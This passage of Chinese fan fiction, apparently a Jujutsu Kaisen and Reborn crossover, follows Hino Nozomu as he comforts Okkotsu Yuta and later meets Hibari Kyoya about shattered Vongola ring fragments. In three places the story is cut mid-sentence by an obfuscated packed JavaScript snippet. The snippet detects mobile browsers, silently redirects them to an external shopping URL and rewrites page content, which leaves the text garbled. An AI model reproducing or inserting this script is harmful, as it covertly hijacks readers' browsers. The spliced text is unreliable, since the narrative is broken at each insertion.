冥冥一边讲解,一边指挥乌鸦的行动,简单的比如在空中盘旋转圈,复杂一点还能将杂志翻到指定页面。 乙骨忧太看得惊奇,立刻记住了冥冥老师讲解的知识点。 “术式是天生印刻在体内的,与术师的后天经历无关。不过不是每个术师都具有术式,也有拥有术师天赋却不具备术式的人存在。而拥有术师天赋且具有术式的人,通常会在四到六岁觉醒自己的术式。” 说到这里,冥冥好奇地问:“你有察觉到自己的术式吗?” 乙骨忧太茫然摇头。 “那就慢慢摸索吧,不急。” 因为还有时间,冥冥又讲了关于咒力的运用。 在这两天的高强度晨跑中,乙骨忧太无师自通学会了用咒力强化身体的技巧,这也是他能坚持下来的原因。 但他的手法相对来说比较粗糙,力量掌控不精准,咒力溢出过多,导致运用效率低且浪费。也就是他本身咒力量庞大,才能不计较那点损耗。 听到冥冥辛辣的点评,乙骨忧太尴尬到脸红。但他的眼睛亮亮的,显然并未受到打击,甚至燃起了熊熊斗志。 “咒术师可以通过咒力强化身体,用以弥补身体力量上的不足,同样还可以提高速度和爆发力。你的咒力量很多,多到让我感到惊讶。老实说,整个咒术界都找不出几个人能与你相当。” “这是你的优点。但同样的,因为咒力量过多,需要进行精细操作的时候就会更加困难。所以我个人建议,除了进行咒力强化身体的训练,你还需要学会咒力的精细操作。要是平时习惯了大手大脚地使用咒力,以后在战斗中遇到了需要进行精细操作的情况,大脑和身体都会反应不过来的。” “对于咒术师们来说,战机稍纵即逝,别说是一秒,零点一秒就能分出胜负。因此,咒力在整场战斗中的分配与使用相当关键。咒力什么时候应该大量输出,什么时候又该精细操作,这些在后面的实战训练中我还会详细讲解。现在你需要做的,就是学会如何进行咒力的精细操作,将基础打好打牢,以免日后手忙脚乱不知所措。” 乙骨忧太点点头,认真地采纳了冥冥提出的建议。 “那么我应该怎样进行练习呢?” 冥冥:“最简单的办法就是定制咒具。” “咒具?” “通常来讲是指咒术师们使用的,附有咒力或具备术式的武器。不过我这里说的咒具,是指还未注入咒力的初始状态咒具。” “咒具会受到锻造金属的材质、大小以及锻造手法等因素影响,能够容纳的咒力不尽相同。一旦咒力注入速度过快,或者注入时咒力输出不均匀,又或者是咒力过载,这些都会导致咒具碎裂。” “你可以试着定制一套练习用的咒具,按照承载咒力量的大小由高到低排序,分阶段进行练习。练习时需要匀速、适量地往里面注入咒力,最后得到的咒具要满足两个条件,咒力充盈且不会破碎。一套咒具完成下来,这个训练就能告一段落了。” 说到定制咒具,冥冥就“看”向了日野望。 毕竟他才是掏钱的“家长”嘛。 果然,日野望明白了她的意思:“一事不烦二主,这件事也麻烦你了,我会付你中间费的。” 冥冥愉快地比了个“OK”的手势。 后面冥冥给乙骨忧太指导了一点咒力运用技巧,时间快十一点的时候,今天的课外辅导才算结束。 日野望先开车把冥冥两姐弟送到了酒店,之后才和乙骨忧太一起回家。 路上乙骨忧太有些沉默,日野望当他在消化今天学习的新东西,没打扰他。 反倒是乙骨忧太先开口了:“哥哥。” “嗯?” “我在想……” 乙骨忧太顿了下,将心中的猜测说了出来:“我在想,会不会是我诅咒了里香呢?” “……” 日野望看了他一眼。 少年低着头,略长的发丝垂落下来,遮住了眼睛。 与其说是想得到一个可能的答案,不如说是在静候对他的宣判。 窗外的灯光与车内的阴影交界之间,那枚挂在他脖子上的戒指反折出一道微弱的光芒。 日野望收回视线。 “这个问题,在排查结果出来之前,谁都没办法肯定。” “……好吧。” 说是这样说,但他们都知道,这个猜测是最接近真相的。 乙骨忧太侧脸朝向车窗,看着上面倒映出来的自己,以及半个日野望的身影。 “以前一直在逃避回忆那天发生的车祸,可是今天在淋浴间里,不知道为什么,突然想起来很多已经遗忘的事情。” 日野望安静地听着,没有插话。 “那个时候,我不相信里香离开了……不,应该说,不愿意相信。当时的想法就是,我不想让她死。” “因为我太没用了,不想孤单一个人,不想让她离开,所以什么办法都好,只要能将她留下来……” “仔细想想,好像就在那样的想法冒出头后,现在的里香就出现了。” “所以我就在想,是不是我诅咒了里香呢?” 如果说,之前日野望得出“乙骨忧太诅咒了里香”这个结论只有八分把握,那么在听完他对当时的回忆和自我剖析后,这个问题的答案基本没得跑了。 “虽然我想说,最终结果出来之前,一切都有可能。但你心里应该有了自己的答案,所以我也想问你一句。” “?” 乙骨忧太回头看他。 随着车辆前行,道道光影在那张冷峻的侧脸上快速移动,交替消逝。那双蓝眼睛被衬得越发深邃神秘,一眼望去,像在直面幽深静默的大海。 “如果你的猜测没有错,这就是真相呢?” “……” 乙骨忧太不知是被问住了,还是陷入了思索。 他沉默了好一会儿,才给出这样的答案。 “我不知道。” “但我可能没办法原谅自己。” “为了一己私欲,强行将里香留在身边,还将她诅咒成了现在这副样子。这是一切的起因。害得爸爸妈妈决定搬家,让尤奈受伤留疤,今天哥哥也差点被攻击……一切的一切,全部都是我的错……” 乙骨忧太抱着脑袋,身上的咒力和他的情绪一样不太稳定。 到家了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262807|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 车子缓缓驶入日野宅,停进车库。 日野望拔出车钥匙,车里最后一丝光亮随之熄灭。 黑暗是包容的,将一些丑陋的、不愿露于人前的东西统统隐藏了起来,也让一些脆弱的、不甘被埋藏的东西得以释放出来。 “我……我想走到哥哥身边,不想被抛下,不想再孤单,所以我会努力学习属于咒术师的力量……” “可是,这种力量……将里香诅咒成现在这副模样,还因此伤害到身边亲密的人,这种力量我真的能掌握吗?” “如果,如果未来有一天,我用这种力量诅咒了哥哥……” 日野望叹了口气。 他看着喃喃自语的乙骨忧太,摘下手套,握住他的手。 六月的天,乙骨忧太的手竟然冷得像冰块。 日野望将他另一只手也拉过来,合拢捂了一会儿,无奈地说:“你就对我这么没信心吗?” 乙骨忧太别开脸:“是对我自己没信心。” 在意识到可能是自己诅咒了里香后,乙骨忧太就生出了一个疑问。 如果日野望的假期结束了,自己依旧没办法达到他的要求,那么在他离开的时候,自己会不会用同样的办法,将他留在自己身边? 这种设想很可怕。 可乙骨忧太没办法保证,自己能控制住不下手。 “哥哥不觉得害怕吗?这种力量。” 他将心中的黑泥吐露出来,小心地观察着日野望的反应。 黑暗中,那双墨绿色的眼睛翻涌着异样的情绪,尤为专注地看着年长者。 “啧。以为我会坐以待毙吗?还有,别太自大了,小子。” 日野望不满地敲了他的脑袋,乙骨忧太反手将他的手握在掌心。 日野望试着抽了下,没用多大力,自然没能抽出来,想想不是什么大不了的事情,干脆放任了。 “我曾听人说过,‘力量是心灵的映照’。有些人能够通过一个人展露出来的力量,剖析他的内心,追溯他的过往,直达他的本质。” 乙骨忧太捏捏他的手指,声音轻轻的:“那哥哥认为我的本质是什么?” “‘怕孤单’吧?” 乙骨忧太顿了下。 日野望接着说:“忧太是个不喜欢孤独、需要人陪伴的孩子。” “所以我才想带你去旅游啊。” “?” “我们不是约定了暑假要去旅行吗?去看外面的风景,去认识更多的人。如果能在旅途中结交到有趣的朋友最好不过,如果这次不行,那么还有下一次,下下次……” 日野望抽出手,捧着他的脸,让他抬起头与自己平视。 “哥哥不希望你把自己束缚在过去的时光里,束缚在渺小的仙台,束缚在已经离开的人身边。忧太,你才十四岁,未来还有很多时间,有很多能去的地方,有很多等待与你相逢的人……这些都在未来等着你。” 可是我想把握住的就在当前啊。 乙骨忧太差点脱口而出。 他只是想留下现在能抓住的一切,根本不敢赌那么遥远的未来。 可这些话,他不敢跟日野望说。 他一如既往地,很乖地点点头,说:“嗯,都听哥哥的。” 【反正还有时间。】 【反正还有时间。】 两人不约而同地想到了一起去。 日野望拍拍邻家弟弟的狗头,打开门下车。 “好了,早点回房休息,别忘了明天还有晨跑。” “嗯。” 20.第 20 章 有了冥冥给乙骨忧太当家庭教师,日野望就不再打算给后者的晨练上难度,只要能充分激活身体,保持好锻炼的习惯就可以了。 而对于已经学会用咒力强化身体的乙骨忧太而言,周三的晨练明显要比前两天轻松许多。 他好奇地问了日野望,后者给出明确的答复:“其实跑的距离没有缩短,只是你对咒力的掌握更加自如,基本适应了这个训练强度。耐力训练在于恒久与坚持,现在这个强度对你来说已经够了。加训的话,放学后等冥冥小姐的安排吧。” “嗯。” 今天日野望没带乙骨忧太去海边和山上,而是从家中出发,沿着大路小道,穿梭在仙台的各个地方,亲眼看着这个城市是如何醒过来的。 仙台是东北最大、最热闹的城市,也是重要的交通枢纽,一大早就热闹了起来,充满了活力。 这次晨练结束得比前两天要早,时间上来得及,回程的时候,日野望就没急着带乙骨忧太坐车回家,而是慢悠悠地散着步走回去。 “以前有见过这个时间的仙台吗?” 乙骨忧太摇摇头。 “那么接下来的几天,目标是把仙台的大街小巷都走遍。” 日野望双手插兜,懒洋洋地说:“回来后还没仔细看过仙台,现在就趁早上这段时间,把市里好好逛一遍。” “咦?这里什么时候开了家面包店?闻起来好香,买一些回去做三明治吧?” 乙骨忧太自然没有异议。 比起清晨的仙台,他的目光更多地停留在身边的日野望身上。 晨练时的日野望穿着色彩鲜明的运动装,少了些身着正装的成熟与矜贵,身上透着蓬勃的青春与活力,令人不由想起,他也不过才十八岁。 十八岁,一个可以是男子高中生也可以是男子大学生的年纪。 就比乙骨忧太大四岁。 乙骨忧太现在比他矮了大半个脑袋,但男孩子进入青春期后发育得很快,这点距离好像很快就能追上去。 结完账,日野望回头就看到乙骨忧太盯着他发呆,毫不客气地抬手敲他脑袋一记。 “想什么呢?” 乙骨忧太捂着被敲的地方,看起来傻乎乎地说:“在想什么时候能长得和哥哥一样高。” 日野望:“保持锻炼的习惯,摄入足够的营养,青春期后长得很快的,别着急。” “嗯,不急。” 乙骨忧太点点头。 只要给他时间,他会追上去的,现在需要的就是努力和耐心。 回家吃完早饭,乙骨忧太也差不多该出门上学了。 日野望叫住他:“忧太,今天我有些事情要做,晚饭你自己在外面解决,之后直接去基地与冥冥小姐汇合。好好上课,晚上我再来接你。” “好的,哥哥,我出门了。” “路上小心。” 目送乙骨忧太出门,日野望点燃火焰放出Picci,叮嘱它:“我要去一趟並盛,忧太那边就拜托你看顾了,等我回来。” “咕!” 白鸽振翅飞向高空,很快就消失在视野范围内。 日野望叹了口气。 前不久还信誓旦旦地宣称並盛会让他过敏,还对草壁哲矢说假期内坚决不会踏足一步……没想到这么快就被自己打脸了。 啧,计划果然赶不上变化。 好在,彭格列里会看他热闹的那群人都不在日本,多少能挽回一些面子。 - 早上十点,草壁哲矢驱车来到羽田机场接机。 日野望看到他,有些意外:“你怎么来了?不是说要替云雀先生参加一个会议吗?” 彭格列的云守大人不喜欢群聚,一些大大小小不太重要的会议都是副手出面。 昨天日野望联络草壁哲矢的时候,对方就告诉了他这个事情,说会安排部下过来接机,没想到今天他亲自过来了。 草壁哲矢:“会议交给其他人负责了,恭先生吩咐我尽快将您送到並盛。” 日野望:“……” 等一下,云雀恭弥什么时候会搭理这些破事了? 不妙的预感袭上心头。 他皮笑肉不笑地说:“我们的云守大人有何吩咐?” 草壁哲矢额角滑落一滴冷汗,顿了顿含糊其辞地回答:“恭先生说是和戒指有关。” 戒指? 日野望立马明白了。 谁不知道云雀恭弥最初组建风纪财团的目的,除了研究匣武器之外,就是搜罗能点燃火焰的戒指。 几年前,匣武器横空出世,顿时在黑手党内部掀起一阵热潮。 匣武器的动力源是火焰,钥匙则是能够点燃火焰的戒指。 而能够点燃火焰的戒指也分了等级。不同等级的戒指承载的火焰质量不同,打开后的匣武器威力就有了高低。 于是黑手党们竞相追逐起高等级的戒指,内部因此发生了大大小小的碰撞和争端,拼出真火后还死了不少人。 就在这个时候,不知从哪里流露出消息,说彭格列代代相传的彭格列指环是超A级的戒指。 已经打红眼的黑手党们就像嗅到血腥味的大白鲨,纷纷将目光对准了彭格列。 彭格列十代目沢田纲吉出人意料地来了个釜底抽薪,力排众议把彭格列指环给毁掉了,直接从源头解决了问题。 彭格列指环的摧毁,犹如倒塌的多米诺骨牌,后面引发出了一系列问题。情况最严重的时候,延续了两百年、传承了十代的地下王者彭格列家族,差点成为历史的一部分。 好在最后结果不坏,黑手党内部大换血,秩序重归正轨,一切似乎回到了往日那般平静。 然而平静的水面下暗流涌动,随时都会卷起新的风浪。 可是目前只有很少一部分人预见了这一点,黑手党内部歌舞升平,浑然不知隐藏在背后的危机。 本以为车子会开往风纪财团总部大楼,没想到竟然直接开到了云雀下榻的基地门口。 风纪财团的基地入口位于並盛神社,用雾属性的火焰掩盖了起来。 日野望是第一次来,一边好奇地打量四周,一边问:“我听说彭格列分部的基地和这边就隔了一道门?” 草壁哲矢如实回答:“原来是没有的,但几个月前,恭先生出于某些方面的考虑,吩咐我们在两个基地之间修建一个连接通道。不过这个通道平时都是封闭起来的,直到十年前的彭格列众人到来,这个通道才正式启用。在彭格列分部基地被摧毁后,恭先生就要求我们把通道彻底封死了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14268156|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 日野望:“好在两个基地是分开建造的,不然被摧毁的就不止一个了。” 是的,几个月前,彭格列位于並盛的分部基地被白兰的属下暴力破坏掉了。 那个投入大量资金,完成度百分之六十的基地,刚启用了不到一个月,就被无情摧毁了。 一想到沢田纲吉看到财务报表时的脸,日野望就觉得好笑。 他这话草壁哲矢不敢接,否则未免有幸灾乐祸之嫌。 说到这件事,那就得从头讲起了。 某天有个叫白兰·杰索的家伙,觉醒了窥探平行世界的能力。 他将世界当做自己的游乐场,将世界基石的三个部分,包括彭格列指环、玛雷指环以及彩虹之子(阿尔克巴雷诺)的奶嘴,简称“七的三次方”,当做了自己的收藏品。 他自称为新世界的卡密,想要借助“七的三次方”创造一个全新的世界。 这个家伙不怀好意地放出“彭格列指环是超A级”的消息,一边看彭格列的热闹,一边躲在无数黑手党家族后面浑水摸鱼、偷偷发育。 他处心积虑想要将彭格列拉下马,将彭格列指环收入囊中。可谁曾想,彭格列的BOSS预判了他的预判,直接把彭格列指环毁了。 哎呀,这下不就糟糕了吗? 于是他不装了,火速推动杰索家族与同为老牌黑手党的基里奥内罗合并,拿走了被后者世代保管的超A级戒指玛雷指环,大张旗鼓地成立密鲁菲奥雷家族。 密鲁菲奥雷来势汹汹,他们做的第一件事,拿出了专门针对彩虹之子的非七三射线,最强的六个小婴儿还没来得及动手就歇菜了。 紧接着,密鲁菲奥雷将火力对准了彭格列,俨然一副要将旧时代的老大踢下去,换我上去做老大的架势。 这个新兴家族来势汹汹,不光手握同样是超A级的玛雷指环,还掌握着超越时代的各种新科技,现世就打了所有人一个猝不及防。 这下可好,没有彭格列指环的彭格列竟然干不过对方。 好在密鲁菲奥雷内部有他们的卧底,于是彭格列BOSS与自家云守,以及卧底(之一)入江正一合计一番,决定利用一个叫十年后火箭炮的东西,把十年前还拥有彭格列指环的他们送到这个时代来代打。 预设的“新手村”就是位于並盛的彭格列分部基地,拉尔·米尔奇是新手训练员,云雀恭弥是特别指导,入江正一这个卧底干了票大的,直接把密鲁菲奥雷位于並盛的基地送给他们练级。 白兰这个坏家伙,爱玩爱热闹,看破不说破,任由他们行动,就打着收“外卖”的主意。 谁想到,最后玩翻车了,竟然真的被十年前的彭格列BOSS打败了。 白兰死后,曾经因他而死的人们在世界基石的影响下重新复活,偌大个密鲁菲奥雷也被清算干净,彭格列重回黑手党老大的王座。 死去的人复活了,毁掉的彭格列指环却没回来。彭格列高层依旧戴着凑合用的普通戒指,玛雷指环也随着白兰的消失而不见踪影。 大概是两种超A戒指都销声匿迹,没了发起争端的由头,黑手党内部现在才能如此平静。 可如今云雀恭弥找日野望过来,还特别提到了戒指,那就说明,这份平静维持不了多久了。 21.第 21 章 云雀恭弥主持建造的基地,完全是他喜好的风格,古香古色,纸拉门、榻榻米、木质回廊……甚至还有枯山水庭院。 会客室挂了一副字,上书“唯我独尊”四个大字,霸道至极,偏偏彭格列最强守护者有这个底气。 日野望在草壁哲矢的带领下来到会客室,看到穿着浴衣,合眼静坐的云雀恭弥。 “来了。” “嗯。” 日野望脱下鞋子,在云雀恭弥对面盘腿坐下。 他十岁出国,同年被父亲送进黑手党学校,隔年就被领到了彭格列十代的高层面前。 那会儿他十一岁,沢田纲吉十八岁。后者刚在国内念完高中,和守护者们一起来到意大利,一边学习,一边从九代目手中接过彭格列的大小事务。 彭格列十代高层大部分都是日本人,甚至一半都是没有接触过黑手党的普通人,刚开始接触黑手党事务的时候很是陌生。 九代目为了避嫌没有安排人手帮忙,为了帮他们尽快适应,门外顾问的首领,同样也是沢田纲吉的父亲沢田家光,就派出了自己的属下。 日野望是日意混血儿,十岁前在日本长大,又在黑手党学校学习了一年,成绩非常优异,自然就被分派到了这样一个任务。 是的,日野望一开始隶属彭格列门外顾问组织。他爹还是沢田家光的心腹,曾经奉命驻守日本,并主持建造了门外顾问名下的301基地。 话说回来。 沢田家光将日野望送到沢田纲吉等人身边,那自然是有自己的打算。 日野望来到意大利不久,就被测出拥有大空和雨两种属性的火焰。 大空属性的火焰是非常稀有的,拥有这种属性的人,在黑手党内部无一不是各家族或组织的首领。 日野望年纪虽小,表现却格外优异,再加上拥有大空属性的火焰,原本是被当做下一任门外顾问BOSS来培养的。 他被送到沢田纲吉身边,帮忙还是次要的,主要是想培养他和沢田纲吉之间的默契。 然而沢田纲吉并不这么想。 彭格列十代最小的守护者蓝波·波维诺,就比日野望小两岁。沢田纲吉本身是个心软的人,对小孩子非常宽容,看到被送过来的日野望,干脆把他和蓝波打包在了一起,让两个小孩子该吃吃该玩玩,什么黑手党事务的都别来沾边。 日野望不敢苟同,但还是接受了他的好意。成天和蓝波一起招猫(指岚守)逗狗(还是指岚守),要不是还有个大魔王里包恩,这两个人能在彭格列总部上演一出什么叫做无法无天。 这一代的彭格列高层基本上是看着他长大的,所以日野望在他们面前没那么拘谨。 云雀恭弥掀开眼皮,漫不经心地问:“哲说你要通过风纪财团联络五条悟?” 日野望:“嗯。” 他将乙骨忧太的情况一一说明,又解释了自己的考虑。 “我没接触过这个人,所以做了最坏的打算。对方毕竟是被称为‘最强’的咒术师,私底下联络的话,他若是想带走忧太,我可能拦不住。换做风纪财团去联络对方,没大可能上来就撕破脸,那就有交涉的余地。” 日野望理直气壮地说。 云雀恭弥看他一眼,没为他扯大旗的做法发表任何看法,只好奇日野望口中的乙骨忧太:“你说他天赋很不错?” 日野望并不觉得意外,这人只对强者感兴趣。 “现在还是个豆芽菜啦,不过在我看来,他有一飞冲天的潜力,说不定就是下一个BOSS哦。” “哦?”云雀恭弥顿时来了兴趣。 “冥冥小姐……啊,就是我最开始请来的那位一级咒术师,现在也负责教导忧太。她说,忧太的咒力量很庞大,整个咒术界都没几个人能比得上他。而且被忧太诅咒的里香,可是逼得我将白凤放出来了欸。” 云雀恭弥颔首,开口吩咐:“哲。” 云雀语十级的草壁哲矢恭敬低头:“我明白了,属下这就去联络。” 草壁哲矢退走。 “我还以为你沉浸在玩家家酒的游戏里。” “什么嘛,这可是我好不容易争取来的假期,我当然想怎么玩就怎么玩啊!” 日野望愤愤不平地捶地。 云雀恭弥不予置评。 “你以为沢田纲吉为什么放你回日本?” “啧。” 日野望明显不大高兴。 云雀恭弥可不会像沢田纲吉那样惯着他。 “戒指呢?” “来之前也没个提醒,你就不担心我忘记带来了吗?” “那要你有何用?” “……” 日野望一怒之下,怒了一下。 他撇撇嘴,从西装内袋里掏出了刻有彭格列纹章的匣子。 又摘下挂在脖子上的大空戒指,点燃火焰,开匣。 对外宣称摧毁后被扔掉的彭格列指环,再次出现在彭格列的守护者面前。 只不过是以碎片的形式。 七零八落的指环碎片被细心地分装好,云雀恭弥捡起贴了“云”字标签的透明小袋子,打量了两眼又放回原地。 日野望托腮看着他,好奇地问:“指环都碎成这样了,那个叫塔尔波的雕金师,真的能修复吗?” “据说可以。” “据谁说?” “那个会预言的大空阿尔克巴雷诺。” “……” 日野望干巴巴地说:“她不是去世了吗?” “阿尔克巴雷诺之间有某种联系,她死之前将这个消息告诉了小婴儿。” 云雀恭弥口中的小婴儿指的就是里包恩。 日野望是有听说过,里包恩和三代大空的阿尔克巴雷诺关系都不错。要是那女孩死之前将这个消息告诉里包恩,那应该是不会有错的。 “那塔尔波到底在哪呢?” 日野望双手撑在身后,仰头看着天花板,脑中回忆自己搜集到的所有情报。 “九代目提供的住址没找到人,密鲁菲奥雷对彭格列势力展开地毯式清洗的时候,同样没发现他的踪影。” “白兰那家伙可是能窥视平行时空的,他都没找到塔尔波的行踪,你们让我怎么找嘛。” “只知道他会在日本,可日本再怎么说也有四个大岛,六千八百多个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14268157|149662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小岛,占地面积约37.8万平方公里。在这样一个国家找一个不知所踪的人,不亚于大海捞针啊。” 日野望倒地开摆。 云雀恭弥淡定道:“不然沢田纲吉会给你批那么久的长假?” 日野望不高兴地起身表示:“这是我应得的假期!” 谁知道他卧底到白兰手下受了多少吨的精神伤害,这不得给他批个长假休息休息? 日野望越发理直气壮。 云雀恭弥“呵”了一声,嘲讽道:“也对,毕竟你为了取信于白兰,给门外顾问造成了不小的麻烦。沢田纲吉先是把你调到彭格列总部,接着又把你派到日本来找人,不就是为了把你支走,顺便给你收拾烂摊子?” 日野望:“……” 他哼了一声,无话可说。 谁让他去了密鲁菲奥雷,卖的第一个人就是他原来的BOSS沢田家光呢。 都说了,他卖BOSS是专业的! “那家伙本来就不想修复彭格列指环,顺水推舟把任务塞给你当长假放,这种事情他不是做不出来。” “好啦,好啦,你们首领和守护者之间的问题,留给你们内部解决。我会想办法完成自己的任务,但结果如何就不是我能控制的了。” “认真点。” “知道啦。” 日野望翻了个白眼。 “我是说真的。” 云雀恭弥表情淡淡地看着他,一语戳破他的心思:“我知道你是站在沢田纲吉那边的,但这件事由不得你胡闹。” “……” 日野望皱眉。 “小婴儿让我告诉你,大空的阿尔克巴雷诺不会毫无意义地留下一句话。让我们去修复彭格列指环,说明后面一定会有用到指环的事情发生。最糟糕的情况,不亚于出现下一个白兰和密鲁菲奥雷。” “可是,超直感……” “不是万能的。” “……” “沢田纲吉也不是。” “……” 日野望的话被堵了回来。 “超直感要是万能的,彭格列也不至于落到把十年前的中学生送过来赌命的地步。” “你就是在羡慕十年前的你能与强敌交手,而你只能清理一些小喽啰吧?” 日野望脱口而出。 室内陡然安静一秒。 “嘭!” 纸门被撞飞,重重落地,摔倒在庭院中,砸飞了光滑古朴的石头。 草壁哲矢闻声赶来。 只见日野望倒在满地狼藉的枯山水中,捂着惨遭痛击的脸蛋,一边叫疼,一边不可思议地说:“你竟然打我?” 罪魁祸首慢条斯理地收起武器,打了个哈欠,离开了会客室。 草壁哲矢:“……” 他心说,恭先生以前不打你,是看在你是小孩子的份上,可现在你已经成年了啊。 草壁哲矢一边给失去特权的日野望点蜡,一边将他扶了起来。 仔细一瞧,其实也没用多大力嘛,涂点药水很快就能消肿了。 跟随云雀恭弥多年,经验格外丰富的副手先生做出如上判断。